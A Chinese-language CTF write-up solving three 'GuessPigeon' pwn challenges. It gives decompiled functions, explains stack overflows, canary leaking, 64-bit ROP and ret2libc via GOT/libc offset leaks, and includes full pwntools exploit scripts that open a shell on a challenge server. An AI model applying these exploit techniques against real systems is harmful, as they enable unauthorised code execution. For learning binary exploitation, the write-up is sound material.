CNSS-PWN
GuessPigeon
analyze
unsigned int __cdecl guess(int a1)
{
char nptr; // [esp+8h] [ebp-70h]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
puts("Please input your guess:");
__isoc99_scanf("%s", &nptr);
if ( atoi(&nptr) == a1 )
{
puts("My Gooood!You guessed the pigeon number!!");
getshell();
}
else
{
printf("You are wrong!The pigeon's number is %d\n try again~", a1);
}
return __readgsdword(0x14u) ^ v3;
}
可见 scanf处没有限制字符串长度大小,可以通过该处进行栈溢出
a1是调用guess函数时传入的参数,存在栈里面
nptr为输入的字符串,也存在栈里面
可知进行栈溢出可以将a1和nptr覆盖成一样的形式,从而getshell
虽然这道题有canary,但是并没有起到作用
char nptr; // [esp+8h] [ebp-70h]
题外话:关于padding的长度,一定要用gdb调试后算出来!!
用ida眼睛看的十有八九都是错的!!
exp.py
from pwn import *
p = remote("132.232.34.26",8888)
p.recvuntil('input your token:')
p.sendline("GuessPigeon")
payload = '123' + '\x00'
payload += 'a' * 0x74
payload += p32(123)
p.recvuntil('Please input your guess:')
p.sendline(payload)
p.interactive()
GuessPigeon2
analyze
int guess()
{
int result; // eax
char buf; // [rsp+0h] [rbp-70h]
puts("Please input your guess:");
__isoc99_scanf("%s", &buf);
puts("You've been fooled.There are no pigenos here!\n Good bye~");
puts("Do you want to get hint? yes/no?");
read(0, &buf, 0x100uLL);
result = strcmp(&buf, "yes");
if ( !result )
result = printf("Do you know \"%s\"\n", s);
return result;
}
这次的ELF文件是64位的,传参方式为寄存器传参,这意味着我们需要用到ROP链来构造一段代码把参数传到寄存器里面去
rop
ROPgadget --binary GuessPigeon2 --only 'pop|ret' | grep 'rdi'
0x0000000000400933 : pop rdi ; ret
binsh
同时 字符串s刚好指向了 /bin/sh,利用system(s)可以getshell
查询了一下,system函数刚好存在于elf文件中,直接引用即可
0x400650
程序执行完guess之后,会跳到pop_rdi_ret的函数处,将rdi赋值为s的地址,接着调用system(),从而getshell
exp.py
from pwn import *
#p = process('./GuessPigeon2')
p = remote('132.232.34.26',8888)
pop_rdi_ret = 0x400933
system_addr = 0x400650
binsh_addr = 0x600E20
payload = 'a' * 0x78
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recvuntil('input your token:')
p.sendline('GuessPigeon2')
p.recvuntil("Please input your guess:")
p.sendline('a')
p.recvuntil("Do you want to get hint? yes/no?")
p.sendline(payload)
p.interactive()
GuessPigeon3
analyze
unsigned int guess()
{
char buf; // [esp+8h] [ebp-70h]
unsigned int v2; // [esp+6Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
memset(&buf, 0, 0x64u);
puts("You You have two chances. Please input your guess:");
read(0, &buf, 0x100u);
printf("You guessed the pigeon number is %s .\nI'm sorry, you guessed wrong.", &buf);
puts("Please input your guess again:");
read(0, &buf, 0x100u);
puts("You've been fooled.There are no pigenos here!\n Good bye~");
return __readgsdword(0x14u) ^ v2;
}
我们checksec一下
[*] '/home/mrh929/Desktop/cnss/GuessPigeon3/GuessPigeon3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序开启了Canary和栈不可执行,guess函数中有两个read函数,即有两个溢出点
第一个溢出点的后面紧跟着一个printf,推测可能是用来泄露canary用的
canary
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/
canary是一种防止栈溢出的方式,通过在执行函数之前生成一个随机的canary,可以防止在函数结束之前有人通过read, scanf等不安全的函数进行栈溢出攻击,程序结束时会stack_check_fail,一旦canary被改变,程序将会马上退出
canary的特点是最低位为0, eg: 0x49d8c100 ,本意是将printf截断,我们在用padding填充的时候可以sendline,即在最后一位填上一个'\n',就可以做到将canary输出,当然最后要记得canary = out - 'a'
libc
程序中没有给出system函数和/bin/sh字符串
但是给了一个libc文件,libc文件是一个动态链接库,程序通过读取这个动态链接库来执行它想要的函数
当然这个动态链接库的地址就不是固定的了,虽然我们静态分析的时候会得到一个静态的地址,但这个并不是动态链接库的最终地址,我们需要将程序运行之后某个libc函数的地址泄露出来,算出它与libc中的静态地址的偏移,从而得到libc中每个函数的真实地址
plt got
https://ctf-wiki.github.io/ctf-wiki/executable/elf/elf-structure-zh/#global-offset-table
plt的本质上是一个指向got表的指针,系统调用函数的时候会首先jmp plt,由plt进行push ,再jmp的操作,最终读取到got表,将eip指向函数的真实地址。
这个生成got表的动作是动态的,所以在我们没有调用某个函数时这个函数的got表将不存有任何地址信息。我们想要得到某个libc函数的真实地址,最好的方法是找准一个已经被系统执行的函数,查询它的got表,从而得到这个函数的真实地址。
这道题中puts和read函数都是被程序执行过的,我们随意选取一个函数
用 elf.got['puts'] 调出got表地址,利用write(三个参数)或者puts(一个参数)函数将其输出
相当于把guess函数的返回地址设置为write/puts
注意,这里调用write/puts函数的本质也是调用plt表,在汇编层面其实等价于jmp addr
而这些函数都是需要ret/ leave 的,所以相应的我们应当在 write_plt 后面先加入一个 ret_addr ,再push 参数
after that
同样的,注意canary 和 write_plt之间也有12个字节的padding,我第一次做这题的时候也是在padding上面卡了很久,一定要用gdb仔细调试才能得出padding长度!!
ret_addr可以设置为guess,因为guess函数有两个溢出点,可以继续栈溢出
在我们得到read的真实地址之后,我们就可以通过
read_addr - libc.symbols['read']
来得出偏移offset了,现在我们就可以知道任何一个函数的真实地址了
再执行一遍guess,同样的要获取canary并且构造payload。
最后压入/bin/sh参数,执行system()
little trick
import pwnlib
pwnlib.gdb.attach(process)
可以对pwntools的过程进行调试
exp.py
import pwnlib
from pwn import *
#p = process('./GuessPigeon3')
p = remote('132.232.34.26',8888)
p.recvuntil('token:')
p.sendline('GuessPigeon3')
elf = ELF('./GuessPigeon3')
libc = ELF('libc.so.6')
ret_addr = elf.symbols['guess']
write_got = elf.got['write']
write_plt = elf.plt['write']
puts_plt = elf.plt['puts']
payload1 = 'a' *100
p.recvuntil('Please input your guess:')
p.sendline(payload1)
p.recvuntil(payload1)
canary = u32(p.recv(4)) - 0xa #get canary value
print "canary = " + str(hex(canary))
payload2 = 'b'*100 + p32(canary) + 'b'* 12
payload2 += p32(puts_plt) + p32(ret_addr) + p32(write_got)
p.recvuntil("your guess again:")
p.send(payload2)
p.recvuntil('Good bye~\n')
write_addr = u32(p.recv(4))
print "libc_read_addr = " + hex(write_addr)
# return to guess()
payload3 = 'c' * 100
p.recvuntil('Please input your guess:')
p.sendline(payload3)
p.recvuntil(payload3)
canary = u32(p.recv(4)) - 0xa #another canary
print "canary' = " + str(hex(canary))
libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_binsh = libc.search('/bin/sh').next()
offset = write_addr - libc_write #offset between real_addr and libc_addr
system_addr = offset + libc_system
binsh_addr = offset + libc_binsh
payload4 = 'd'*100 + p32(canary)
payload4 += 'b'*12
payload4 += p32(system_addr) + p32(ret_addr) + p32(binsh_addr)
p.recvuntil('again:')
p.sendline(payload4)
p.interactive()